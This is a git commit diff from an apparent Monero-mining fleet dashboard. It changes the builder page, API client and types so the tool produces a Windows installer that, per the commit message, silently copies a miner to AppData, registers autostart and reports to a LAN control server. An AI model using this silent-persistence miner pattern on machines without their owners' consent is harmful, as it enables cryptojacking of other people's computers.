Make built exe a one-run Windows installer pointing at LAN dashboard.

Install copies miner to AppData, registers autostart, relaunches silently, and builder defaults server URL to local IP.
This commit is contained in:
drjones
2026-05-26 22:52:47 -07:00
parent 6c42f2b600
commit 6241dfd556
10 changed files with 375 additions and 59 deletions

View File

@@ -1,4 +1,4 @@
import type { Agent, Share, HashrateSample, BuildRecord, FleetStats, ServerConfig, BuildRequest, BuildResponse } from '../types';
import type { Agent, Share, HashrateSample, BuildRecord, FleetStats, ServerConfig, BuildRequest, BuildResponse, ServerInfo } from '../types';
const API_BASE = '/api/v1';
@@ -48,6 +48,7 @@ export const api = {
downloadBuild: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
// Health
// Health / server
healthCheck: () => fetchJSON<{ status: string }>('/health'),
getServerInfo: () => fetchJSON<ServerInfo>('/server/info'),
};

View File

@@ -1,12 +1,12 @@
import { useState, useEffect } from 'react';
import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig } from '../types';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
import './Pages.css';
function defaultsFromConfig(config: ServerConfig, origin: string): BuildRequest {
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
return {
worker_name: '',
server_url: origin,
server_url: serverInfo.suggested_url,
wallet: config.wallet.address,
threads: config.default_agent_config.threads,
cpu_priority: config.default_agent_config.cpu_priority,
@@ -37,8 +37,8 @@ export default function BuilderPage() {
const [loadingDefaults, setLoadingDefaults] = useState(true);
useEffect(() => {
api.getConfig()
.then((config) => setForm(defaultsFromConfig(config, window.location.origin)))
Promise.all([api.getConfig(), api.getServerInfo()])
.then(([config, serverInfo]) => setForm(defaultsFromConfig(config, serverInfo)))
.catch((err) => {
console.error(err);
setError('Failed to load server defaults from Settings');
@@ -114,10 +114,10 @@ export default function BuilderPage() {
<div className="builder-layout">
<div className="card builder-form">
<h2>Build Custom Miner</h2>
<h2>Build Miner Installer</h2>
<p className="form-description">
Defaults come from Settings. Adjust per worker, then build. The server compiles a Windows
`.exe` with all values baked in and saves it under `data/builds/`.
Creates a single Windows installer `.exe`. Copy it to any machine on your network and run it once.
It installs the miner, registers auto-start, connects back to this dashboard at your LAN IP, and begins mining.
</p>
<form onSubmit={handleSubmit}>
@@ -143,7 +143,7 @@ export default function BuilderPage() {
onChange={(e) => updateField('server_url', e.target.value)}
required
/>
<span className="form-hint">Control server URL agents connect to (LAN or tunneled domain)</span>
<span className="form-hint">Your control server on the LAN workers use this to reach the dashboard ({form.server_url})</span>
</div>
<div className="form-group">
<label className="label">XMR Wallet Address</label>
@@ -359,15 +359,16 @@ export default function BuilderPage() {
)}
<button type="submit" className="btn btn-success build-btn" disabled={building}>
{building ? 'Building...' : 'Build Miner .exe'}
{building ? 'Building...' : 'Build Installer .exe'}
</button>
</form>
</div>
{lastBuild?.success && (
<div className="card recent-builds">
<h2>Build Complete</h2>
<h2>Installer Ready</h2>
<div className="build-success">
<p><strong>Run this once on each Windows machine:</strong></p>
<p><strong>File:</strong> {lastBuild.file_name}</p>
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
<p><strong>Absolute path:</strong></p>

View File

@@ -39,6 +39,15 @@ export interface HashrateSample {
timestamp: string;
}
export interface ServerInfo {
port: number;
host: string;
local_ips: string[];
suggested_url: string;
dashboard_url: string;
websocket_url: string;
}
export interface BuildRecord {
id: string;
worker_name: string;